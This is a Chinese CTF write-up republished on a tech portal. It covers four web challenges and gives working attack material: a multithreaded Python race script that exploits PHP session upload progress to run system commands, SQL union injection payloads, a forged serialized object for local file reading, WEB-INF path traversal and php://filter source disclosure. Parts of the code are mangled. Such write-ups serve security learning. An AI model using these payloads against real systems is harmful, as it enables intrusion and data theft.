文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

刷题记录(2023.3.14 - 2023.3.18)

2023-09-07 21:47

关注

[第五空间 2021]EasyCleanup

临时文件包含考点

分析源码,两个特殊的点,一个是 eval,另一个是 include

eval 经过了 strlen filter checkNums 三个函数

include 经过了 strlen filter 两个函数

filter 检测是否包含特定的关键字或字符

function filter($var){     $banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"];     foreach($banned as $ban){         if(strstr($var, $ban)) return True;     }     return False; } 

checkNums 检查字母和数字的数量

看一下这道题的 PHP 版本 PHP/5.5.9-1

PHP 5.4 后 session.upload_progress 内置函数被引入,如果开启可以使用其工作原理

工作原理: 在上传文件时,将上传进度信息存储在 PHP 的 $_SESSION 变量中。然后可以使用 session_upload_progress() 函数来访问这些信息,以便在用户界面中显示上传进度条或其他信息。

查看 php 配置

?mode=eval
phpinfo关于session的设置session.save_path = /tmpsession.use_strict_mode = Offsession.upload_progress.cleanup = Onsession.upload_progress.enabled= On......

脚本包含

import ioimport requestsimport threading  # 多线程from cffi.backend_ctypes import xrangesessid = '0'target = 'http://1.14.71.254:28592/'file = 'ph0ebus.txt'  # 上传文件名f = io.BytesIO(b'a' * 1024 * 50)  # 文件内容,插入大量垃圾字符来使返回的时间更久,这样临时文件保存的时间更长def write(session):    while True:        session.post(target, data={'PHP_SESSION_UPLOAD_PROGRESS': ''},                     files={'file': (file, f)}, cookies={'PHPSESSID': sessid})def read(session):    while True:        resp = session.post(            f"{target}?mode=foo&file=/tmp/sess_{sessid}&cmd=system('cd /;ls;cat nssctfasdasdflag');")        if file in resp.text:            print(resp.text)            event.clear()        else:            print("[+]retry")            # print(resp.text)if __name__ == "__main__":    event = threading.Event()    with requests.session() as session:        for i in xrange(1, 30):  # 每次调用返回其中的一个值,内存空间使用极少,因而性能非常好            threading.Thread(target=write, args=(session,)).start()            # target:在run方法中调用的可调用对象,即需要开启线程的可调用对象,比如函数或方法;args:在参数target中传入的可调用对象的参数元组,默认为空元组()        for i in xrange(1, 30):            threading.Thread(target=read, args=(session,)).start()    event.set()

[鹏城杯 2022]压缩包

分析源码

highlight_file(__FILE__);function removedir($dir){    $list= scandir($dir);    foreach ($list as  $value) {       if(is_file($dir.'/'.$value)){         unlink($dir.'/'.$value);       }else if($value!="."&&$value!=".."){                removedir($dir.'/'.$value);       }    }}function unzip($filename){        $result = [];        $zip = new ZipArchive();        $zip->open($filename);        $dir = $_SERVER['DOCUMENT_ROOT']."/static/upload/".md5($filename);        if(!is_dir($dir)){            mkdir($dir);        }        if($zip->extractTo($dir)){        foreach (scandir($dir) as  $value) {            $file_ext=strrchr($value, '.');            $file_ext=strtolower($file_ext); //转换为小写            $file_ext=str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA            $file_ext=trim($file_ext); //收尾去空            if(is_dir($dir."/".$value)&&$value!="."&&$value!=".."){                removedir($dir);            }            if(!preg_match("/jpg|png|gif|jpeg/is",$file_ext)){                if(is_file($dir."/".$value)){                    unlink($dir."/".$value);                }else{                    if($value!="."&&$value!="..")                    array_push($result,$value);                }}                   }        $zip->close();        unlink($filename);        return json_encode($result);        }else{            return false;        }    }$content= $_REQUEST['content'];shell_exec('rm -rf /tmpselect 1,2,3,4

在这里插入图片描述
网页内容左上角报错信息有反序列化函数 unserialize()

查表

-1 unionselect 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database();
username                   age                   blogusers

查列

-1 unionselect 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database();
username                   age                   blogno,username,passwd,data

查询 users 表对应的数据

-1 unionselect 1,group_concat(no,username,passwd,data),3,4 from users;
username1admin3c9909afec25354d551dae21590bb26e38d53f2173b8d3dc3eee4c047e7ab1c1eb8b85103e3be7ba613b31bb5c9c36214dc9f14a42fd7a2fdb84856bca5c44c2O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:12;s:4:"blog";s:7:"3333.cn";}

这是我的注册信息,所以没用,得找其他方法

扫描后台可扫到 user.php.bak

highlight_file(__FILE__);class UserInfo{    public $name = "";    public $age = 0;    public $blog = "";    public function __construct($name, $age, $blog)    {        $this->name = $name;        $this->age = (int)$age;        $this->blog = $blog;    }    function get($url)    {        $ch = curl_init();        curl_setopt($ch, CURLOPT_URL, $url);        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);        $output = curl_exec($ch);        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);        if($httpCode == 404) {            return 404;        }        curl_close($ch);        return $output;    }    public function getBlogContents ()    {        return $this->get($this->blog);    }    public function isValidBlog ()    {        $blog = $this->blog;        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);    }}

根据之前的反序列化函数可知,注册信息被序列化后又被反序列化显示出来,而下方的 data 字段存在漏洞,其对应网页的博客内容

使用 sql 的 4 字段对应的 data 修改序列化内容

file:///var/www/html/flag.php
O:8:"UserInfo":3:{s:4:"name";s:10:"admin123ad";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

对应的 sql 语句

-1 unionselect 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:10:"admin123ad";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

在这里插入图片描述
访问链接,查看源码
在这里插入图片描述

[RoarCTF 2019]Easy Java

点击 help 后,java 程序错误
在这里插入图片描述
且 URL/Download?filename=help.docx

存在 WEB-INF/web.xml 泄露

WEB-INF 是 Java 的 WEB 应用的安全目录。如果想在页面中直接访问其中的文件,必须通过 web.xml 文件对要访问的文件进行相应映射才能访问。

WEB-INF 主要包含一下文件或目录:

/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。 /WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。 /WEB-INF/database.properties:数据库配置文件

Servlet(Server Applet)是Java Servlet的简称,称为小服务程序或服务连接器,用Java编写的服务器端程序,具有独立于平台和协议的特性,主要功能在于交互式地浏览和生成数据,生成动态Web内容。

<servlet> 标签定义了一个 Servlet。<servlet-name> 标签定义了 Servlet 的名字。<servlet-class> 标签定义了 Servlet 的类名。<servlet-mapping> 标签将 Servlet 映射到一个 URL。<url-pattern> 标签定义了 URL 的模式,该 URL 模式将请求映射到相应的 Servlet。对于每个 Servlet,都有相应的 <servlet><servlet-mapping> 来进行定义和映射。
filename=WEB-INF/classes/com/wm/ctf/FlagController.class

在这里插入图片描述

解码得
在这里插入图片描述

[NPUCTF2020]ezinclude

在这里插入图片描述
首页直接报错,源码中有信息

<html>html>

测试后,GET 可传 name,且其参数变化后 Set-Cookie 中的 Hash 值会变化,传入对应的 name,即有对应的 pass 值

?pass=fa25e54758d5d5c1927781a6ede89f8a

<script language="javascript" type="text/javascript">           window.location.href="flflflflag.php";script><html>html>

/flflflflag.php?file=php://filter/convert.base64-encode/resource=flflflflag.php

在这里插入图片描述

flflflflag.php

<html><head><script language="javascript" type="text/javascript">           window.location.href="404.html";</script><title>this_is_not_fl4g_and_出题人_wants_girlfriend</title></head><><body><?php$file=$_GET['file'];if(preg_match('/data|input|zip/is',$file)){die('nonono');}@include($file);echo 'include($_GET["file"])';?></body></html>

dir.php

var_dump(scandir('/tmp'));?>
在 PHP 7 中,如果存在内存错误或其他类似的问题,可能会导致段错误(segment fault),可能会导致 PHP 异常崩溃退出。这种情况可能会在尝试处理大量数据或处理超出内存限制的数据时发生。如果向 PHP 发送包含文件区块的数据包时,PHP 异常崩溃退出,但是 POST 的临时文件仍被保留

使用脚本发送包含文件区块的数据包

import requestsfrom io import BytesIO #BytesIO实现了在内存中读写bytespayload = ""data={'file': BytesIO(payload.encode())}url="http://366904a9-c0cd-4a65-8b3a-77b6adb8021f.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"r=requests.post(url=url,files=data,allow_redirects=False)

在这里插入图片描述

在这里插入图片描述

本文脚本均来自网上收集,代码持续完善分析中…

来源地址:https://blog.csdn.net/qq_62260856/article/details/129535572

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯